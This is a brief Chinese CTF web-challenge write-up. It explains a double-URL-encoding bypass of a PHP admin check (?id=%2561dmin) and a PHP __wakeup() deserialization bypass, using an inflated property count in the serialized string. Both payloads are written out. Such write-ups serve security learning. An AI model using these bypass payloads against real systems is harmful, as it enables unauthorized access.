目录

1、index.php一般为php的初始页面

发现网页直接跳转到1.php


![]()





代码发现,御剑使用

- if("admin"===$_GET[id]) {
- echo("
not allowed!
"); - exit();
- }
-
- $_GET[id] = urldecode($_GET[id]);
- if($_GET[id] == "admin")
- {
- echo "
Access granted!
"; - echo "
Key: xxxxxxx
"; - }
- ?>
-
- Can you anthenticate to this website?
-
第一步,要使得
"admin"===$_GET[id]不成立第二步,经过
$_GET[id] = urldecode($_GET[id]);,使得$_GET[id] == "admin"成立。二次编码:
urldecode(%2561)=%61
urldecode(%61)=a
?id=%2561dmin

看见__wakeup()就知道涉及到序列化、反序列化
执行unserialize()反序列化时,先会调用__wakeup()函数


__wakeup()漏洞:当序列化字符串所表示的对象, 其序列化字符串中属性个数大于真实属性个数时就会跳过__wakeup的执行
将变量1改为2或者其他大于1的数字
?code=O:4:"xctf":4:{s:4:"flag";s:3:"111";}
